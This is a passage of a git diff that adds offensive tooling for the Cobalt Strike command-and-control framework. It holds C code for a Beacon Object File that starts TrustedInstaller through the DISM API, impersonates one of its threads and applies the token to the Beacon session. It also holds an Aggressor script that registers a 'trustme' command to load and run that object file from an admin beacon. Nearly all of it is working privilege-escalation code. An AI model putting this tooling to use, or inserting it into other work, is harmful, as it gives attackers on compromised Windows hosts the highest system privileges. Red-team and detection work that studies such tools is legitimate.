impersonation token with Beacon so subsequent + // beacon commands (ls, shell, etc.) use the TrustedInstaller context. + // Open the thread token and pass it to BeaconUseToken. + HANDLE hThreadToken = NULL; + if (ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hThreadToken)) { + if (!BeaconUseToken(hThreadToken)) { + BeaconPrintf(CALLBACK_OUTPUT, "[!] BeaconUseToken failed, but thread impersonation is still active"); + } else { + BeaconPrintf(CALLBACK_OUTPUT, "[+] Token applied to Beacon session"); + } + + // BeaconUseToken duplicates internally, but we don't close here just in case the implementation varies + + } else { + BeaconPrintf(CALLBACK_OUTPUT, "[!] Could not open thread token for BeaconUseToken (err: %lu), impersonation still active on this thread", KERNEL32$GetLastError()); + } + + found = TRUE; + pNtC(hThread); + pNtC(hProcess); + goto cleanup_dism; + } + + BeaconPrintf(CALLBACK_OUTPUT, "[!] Impersonation returned unexpected identity: %s", username); + } + + if (hPrevThread) pNtC(hPrevThread); + pNtC(hProcess); + + BeaconPrintf(CALLBACK_ERROR, "Found TrustedInstaller but could not impersonate any thread"); + goto cleanup_dism; + } + + if (hPrevProcess && !found) pNtC(hPrevProcess); + + if (!found) { + BeaconPrintf(CALLBACK_ERROR, "TrustedInstaller.exe not found in process walk"); + } + +// clean up +cleanup_dism: + pDismCloseSession(session); + pDismShutdown(); + KERNEL32$FreeLibrary(hDism); + + if (found) { + BeaconPrintf(CALLBACK_OUTPUT, "[+] Now running as TrustedInstaller. Use 'rev2self' to revert."); + } +} diff --git a/trustme.cna b/trustme.cna new file mode 100644 index 0000000..6ff0d1a --- /dev/null +++ b/trustme.cna @@ -0,0 +1,38 @@ +# +# trustme.cna - Aggressor script for the TrustedInstaller impersonation BOF +# +# Usage: trustme +# Requires: Admin beacon with SeDebugPrivilege available +# Revert: rev2self +# + +beacon_command_register( + "trustme", + "Impersonate TrustedInstaller via DISM API trigger and thread impersonation.", + "Synopsis: trustme\n\nElevates the current beacon thread to TrustedInstaller/SYSTEM context.\nUses the DISM API to start TrustedInstaller.exe without touching SCM,\nthen walks processes via NtGetNextProcess and impersonates a thread.\n\nRequires: Elevated (admin) beacon.\nRevert: rev2self" +); + +alias trustme { + local('$barch $handle $data $args'); + + # Verify the beacon is in an elevated context + if (!-isadmin $1) { + berror($1, "trustme requires an elevated (admin) beacon."); + return; + } + + # Determine architecture and load the correct object file + $barch = barch($1); + $handle = openf(script_resource("trustme. $+ $barch $+ .o")); + $data = readb($handle, -1); + closef($handle); + + if (strlen($data) == 0) { + berror($1, "Could not read trustme. $+ $barch $+ .o, is the object file in the same directory as this script?"); + return; + } + + # No arguments needed for this BOF + btask($1, "Attempting to impersonate TrustedInstaller via DISM..."); + beacon_inline_execute($1, $data, "go", $null); +}